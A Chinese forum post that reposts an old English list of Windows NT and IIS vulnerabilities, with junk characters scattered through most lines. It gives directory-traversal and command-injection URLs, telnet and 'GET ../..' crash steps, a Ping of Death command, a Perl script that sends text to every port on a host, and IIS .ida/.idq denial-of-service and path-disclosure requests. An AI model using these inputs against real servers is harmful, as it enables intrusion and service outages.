找回密码
 注册

QQ登录

只需一步,快速开始

NT的漏洞及描述(英文)

[复制链接]
发表于 2011-1-13 17:12:25 | 显示全部楼层 |阅读模式
受影响系统:4.0,iis 1.0
3 F8 U; C1 K5 ^8 X/ A6 PA URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.
0 ^/ }5 d7 l( r$ j, u
# E% Y+ H5 O0 {/ U9 F9 EA URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.' e/ C  o6 K( P

8 W# m% A. @/ e7 y' f8 `By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.0 i, \& \* {5 C# g8 R5 i" w

" O) ^% D3 P) Y) P--------------------------------------------------------------------, R, r4 _+ y* M$ _, B2 g

+ _% ?: Y0 u4 \受影响系统:4.0& v5 p4 ^2 }% L7 g& c  p; E
A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.
. G1 L4 W- Y3 s2 x
8 B9 {- ^. X7 I# hIf the file 'target.bat' exists, the file will be truncated.
' Y6 Z4 _% `/ j2 F( ^" g* G
5 y) E' v& q; U1 M$ i/ h+ x, P, K- G  o4 g6 O# H$ x
A URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.2 x) b) \7 O6 W3 U5 v1 E' {
" @+ e( ]" x' h% `+ K
----------------------------------------------------------------------
9 q# c: T' Q% U
8 F8 L: Q  G( y* Z/ A受影响系统:3.51,4.03 c9 h" u+ {1 ?/ a+ `
Multiple service ports (53, 135, 1031) are vunerable to 'confusion'.4 x# P. Z5 R0 F8 ?9 o
) N4 J+ M+ V- H# P# A
The following steps;3 T! f( E- P( g1 {8 h
/ d- w( K" V+ d8 f& w
Telnet to an NT 4.0 system on port 135 : _/ v/ O, k% s$ S' Q) C. ^7 M
Type about 10 characters followed by a <CR> ( c: B; M6 l" i
Exit Telnet
9 L3 B8 K( t% _+ ^' G2 Wresults in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.
4 M& j9 N  c5 l: N, j* y9 F/ c# B# z5 \! E$ \2 `
When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.
% F* b, \$ J- E$ r2 D
3 Q# D" j' P/ h6 l3 U1 s8 fThe above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.5 j! H, v9 R, U, p$ F9 s$ D. M+ ~

' T" b- t5 k% a6 QIf a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.
" m) L6 h% u# m* H
3 V3 |0 y' u* h# \( x' n: EThe following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):( x1 P6 K% X4 x8 y+ u

; m) m0 V4 f6 n/*begin poke code*/; u) q- W' |2 q
4 Z2 S: U; |- B2 B8 f; b
use Socket;% _* W; T* Z6 v3 g1 R
use FileHandle;
/ D" B$ Q# j' D, ~2 i3 Brequire "chat2.pl";
. \7 }0 ~2 H3 l5 s, M# g/ C, P4 {& q4 M, l) j
$systemname = $ARGV[0] && shift;
+ {+ U* _8 g4 p* w9 R/ i5 l% a
' j+ b7 r, e2 `* S2 h  c$verbose = 1; # tell me what you're hitting8 S% Q$ U) X: y. I
$knownports = 1; # don't hit known problem ports  o2 ~" V6 }) r) E7 A4 S* ?/ A2 k# `0 E
for ($port = $0; $port<65535; $port++) : [9 z! ^3 h) I$ K7 a
{( T) x0 Q1 c$ a8 u; F! [! r
2 L- d5 ^. C2 m8 A/ Z6 c

* f" u+ O1 M0 e  u; O  m. B# Q7 z3 e+ Bif ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
  K/ |! K8 o7 G8 B$ O0 p% Fnext;
+ g/ X( G. N- d  s}
4 Z! i9 e& Y! x$ k9 V$ v5 O) h& i$fh = chat::open_port($systemname, $port);1 W6 X9 W7 k* x* M8 Y$ Y
chat::print ($fh,"This is about ten characters or more");7 e% |# V) ^1 F/ e$ r& w
if ($verbose) {
; ~8 o; v8 O7 q* S# ]2 G8 kprint "Trying port: $port\n";
  e9 K4 ?" {5 ~} ! ?/ m5 s1 o8 z% e( F" t& ]0 H2 O
chat::close($fh);) {' R5 o* S6 d

$ r0 Y) {3 v- }& A}
3 l  y' \, o  B7 u2 o: x$ n0 c. \5 b( h) w2 f
+ {# U+ k5 s7 B
/*end poke code*/
* k3 h6 V. I. V( W0 N, S. {. b4 S0 e
Save the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername7 D: {- S  ]( Z3 ^

* b' o' c' X4 o# U# _% J--------------------------------------------------------------------------------! i/ P$ c# C/ ~7 I
1 p( z" @- g' ^  h9 A" ]
受影响系统:4.08 v. y% I- D, Z
Using a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.4 z0 n" [* p! ~7 N; d/ P$ X

4 m, l0 I5 Q  [( i+ o9 D" VThis attack causes Dr. Watson to display an alert window and to log an error: / `7 I2 K9 Z; q2 g: q3 U

4 L4 q0 m* [- B+ N8 y3 ]3 _"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
, o  H& {/ l: t. c( x+ @0 `4 l6 ~" q- `$ ?% s, V) _0 c) w
--------------------------------------------------------------------------------
8 j1 c) {2 @- q, y: u1 Y
) a; C$ b, U4 C2 D受影响系统:3.51,4.02 i1 Z) G0 d% S0 B2 m3 E; Y- Y' a
Large packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:
! m% r9 w; V/ `' \$ g" _; T  [" ^2 G) z; m3 ]/ c; x, D9 J
STOP: 0X0000001E
# b: s0 I" `2 K) ]6 Y5 IKMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
# p" q5 y# ^; x1 w5 G' `
5 u. P- @( B7 ^4 ?7 z* f: ]-OR-
: I' B' }. o' ]5 ?% u% H+ `* c; E. U- T1 H  Q) K
STOP: 0x0000000A
# P* W* @5 J0 S4 N8 RIRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
) I  j+ r: t' I* @$ K! {2 u: ?% M: Z0 ^
NT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.% z( B: L' T  z& ^2 o3 k# P- D1 A

1 \( r1 i4 ]3 ~: Y--------------------------------------------------------------------------------
  v; o/ r: \: x# \5 J- f8 }' f9 Z  m( e0 D9 t0 Y; V9 A
Microsoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
* {' c1 e6 |5 S( i4 [# Y* _" Q5 z5 B3 `" u2 _+ q7 H& L
--------------------------------------------------------& O" \( r6 o& H6 f% z: E

- d+ B; z# e2 o$ s7 VIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-6-14 23:35

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表